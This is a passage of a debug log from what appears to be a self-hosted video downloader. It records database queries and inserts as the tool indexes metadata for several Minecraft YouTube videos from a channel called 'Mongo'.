livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139557] 19:43:02.577 [debug] Current batch of media processed. Will check again in 1000ms 19:43:03.577 [debug] Current batch of media processed. Will check again in 1000ms 19:43:04.578 [debug] Current batch of media processed. Will check again in 1000ms 19:43:05.580 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 966, "filename" => "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", "id" => "25gZa2W_uyA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=25gZa2W_uyA", "playlist_index" => 9, "timestamp" => 1779728401, "title" => "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "upload_date" => "20260525"} 19:43:05.581 [debug] QUERY OK source="sources" db=0.7ms idle=1300.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:05.582 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1302.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:05.586 [debug] QUERY OK source="media_items" db=3.8ms queue=0.1ms idle=1303.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-25 17:00:01Z], 31] 19:43:05.590 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=1054.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "04050072-1a1a-48d7-8a18-a90fe1ae9974", "25gZa2W_uyA", false, "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, [], 966, false, 9, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, false, 98, ~U[2026-05-25 17:00:01Z], ~U[2026-06-02 23:43:05Z], ~U[2026-06-02 23:43:05Z], "Mongo Pretended to be a BABY SUNMAN on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!", "25gZa2W_uyA", "https://www.youtube.com/watch?v=25gZa2W_uyA", 31, 966, false, "/downloads/rory/Mongo/2026-05-25 I Pretended to be BABY SUNMAN on a One Chunk in Minecraft!/I Pretended to be BABY SUNMAN on a One Chunk in Minecraft! [25gZa2W_uyA].mp4", false, ~U[2026-05-25 17:00:01Z]] 19:43:05.592 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=54.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:05.593 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=11.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:05.595 [debug] QUERY OK source="media_items" db=0.6ms idle=11.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139344] 19:43:05.595 [debug] Current batch of media processed. Will check again in 1000ms 19:43:06.596 [debug] Current batch of media processed. Will check again in 1000ms 19:43:07.597 [debug] Current batch of media processed. Will check again in 1000ms 19:43:08.598 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1120, "filename" => "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", "id" => "NKbjniE9Ug4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NKbjniE9Ug4", "playlist_index" => 10, "timestamp" => 1779644095, "title" => "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "upload_date" => "20260524"} 19:43:08.600 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1319.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:08.601 [debug] QUERY OK source="sources" db=0.5ms idle=1321.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:08.605 [debug] QUERY OK source="media_items" db=3.7ms idle=1322.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-24 17:34:55Z], 31] 19:43:08.608 [debug] QUERY OK source="media_items" db=1.6ms idle=1067.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "38a1b94a-9b94-4ecb-8757-fb6df3ad7907", "NKbjniE9Ug4", false, "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, [], 1120, false, 10, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, false, 98, ~U[2026-05-24 17:34:55Z], ~U[2026-06-02 23:43:08Z], ~U[2026-06-02 23:43:08Z], "Mongo and his Friends are doing a build battle, except YOU are cheating? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!", "NKbjniE9Ug4", "https://www.youtube.com/watch?v=NKbjniE9Ug4", 31, 1120, false, "/downloads/rory/Mongo/2026-05-24 YOU Cheat With SECRET CAMERAS In Minecraft Build Battle!/YOU Cheat With SECRET CAMERAS In Minecraft Build Battle! [NKbjniE9Ug4].mp4", false, ~U[2026-05-24 17:34:55Z]] 19:43:08.609 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=67.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:08.610 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=9.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:08.611 [debug] QUERY OK source="media_items" db=0.5ms idle=9.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [139127] 19:43:08.611 [debug] Current batch of media processed. Will check again in 1000ms 19:43:09.612 [debug] Current batch of media processed. Will check again in 1000ms 19:43:10.613 [debug] Current batch of media processed. Will check again in 1000ms 19:43:11.614 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 997, "filename" => "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", "id" => "7TrJHLfmISo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7TrJHLfmISo", "playlist_index" => 11, "timestamp" => 1779555607, "title" => "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "upload_date" => "20260523"} 19:43:11.615 [debug] QUERY OK source="sources" db=0.2ms idle=1335.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:11.615 [debug] QUERY OK source="sources" db=0.2ms idle=1335.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:11.616 [debug] QUERY OK source="media_items" db=1.1ms idle=1336.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 17:00:07Z], 31] 19:43:11.617 [debug] QUERY OK source="media_items" db=0.6ms idle=1074.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "d45069bc-1fd3-437f-92c7-8f3e25ffe7f6", "7TrJHLfmISo", false, "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, [], 997, false, 11, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, false, 98, ~U[2026-05-23 17:00:07Z], ~U[2026-06-02 23:43:11Z], ~U[2026-06-02 23:43:11Z], "Mongo Pretended to be a BABY MONGO on an One RAINBOW RAFT Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!", "7TrJHLfmISo", "https://www.youtube.com/watch?v=7TrJHLfmISo", 31, 997, false, "/downloads/rory/Mongo/2026-05-23 I Pretended to be a BABY MONGO on an OP RAINBOW RAFT!/I Pretended to be a BABY MONGO on an OP RAINBOW RAFT! [7TrJHLfmISo].mp4", false, ~U[2026-05-23 17:00:07Z]] 19:43:11.618 [debug] QUERY OK source="sources" db=0.1ms idle=74.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:11.618 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:11.619 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138914] 19:43:11.619 [debug] Current batch of media processed. Will check again in 1000ms 19:43:12.619 [debug] Current batch of media processed. Will check again in 1000ms 19:43:13.620 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 839, "filename" => "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", "id" => "GYjZ65S8QVk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GYjZ65S8QVk", "playlist_index" => 12, "timestamp" => 1779476923, "title" => "GIANT SUNMAN vs Security House In Minecraft!", "upload_date" => "20260522"} 19:43:13.622 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=341.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:43:13.623 [debug] QUERY OK source="sources" db=0.5ms idle=343.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:13.626 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=344.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 19:08:43Z], 31] 19:43:13.627 [debug] QUERY OK source="media_items" db=0.5ms idle=347.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "4e183441-da66-44d1-8b3c-bfcc71144367", "GYjZ65S8QVk", false, "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, [], 839, false, 12, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, false, 98, ~U[2026-05-22 19:08:43Z], ~U[2026-06-02 23:43:13Z], ~U[2026-06-02 23:43:13Z], "Mongo and Axy have to work together to build a the most secure house to beat SUNMAN! Do they succeed? Watch to find out.\n\n#Mongo #Minecraft #MinecraftMod", "GIANT SUNMAN vs Security House In Minecraft!", "GYjZ65S8QVk", "https://www.youtube.com/watch?v=GYjZ65S8QVk", 31, 839, false, "/downloads/rory/Mongo/2026-05-22 GIANT SUNMAN vs Security House In Minecraft!/GIANT SUNMAN vs Security House In Minecraft! [GYjZ65S8QVk].mp4", false, ~U[2026-05-22 19:08:43Z]] 19:43:13.627 [debug] QUERY OK source="sources" db=0.1ms idle=80.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:13.628 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:13.628 [debug] QUERY OK source="media_items" db=0.2ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138698] 19:43:13.628 [debug] Current batch of media processed. Will check again in 1000ms 19:43:14.629 [debug] Current batch of media processed. Will check again in 1000ms 19:43:15.630 [debug] Current batch of media processed. Will check again in 1000ms 19:43:16.632 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best TITAN SUNMAN! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 758, "filename" => "/downloads/rory/Mongo/2026-05-21 I Cheated With TITAN SUNMAN In Minecraft Build Battle!/I Cheated With TITAN SUNMAN In Minecraft Build Battle! [xwUYue7gz98].mp4", "id" => "xwUYue7gz98", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xwUYue7gz98", "playlist_index" => 13, "timestamp" => 1779382864, "title" => "I Cheated With TITAN SUNMAN In Minecraft Build Battle!", "upload_date" => "20260521"} 19:43:16.633 [debug] QUERY OK source="sources" db=0.6ms idle=1353.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", 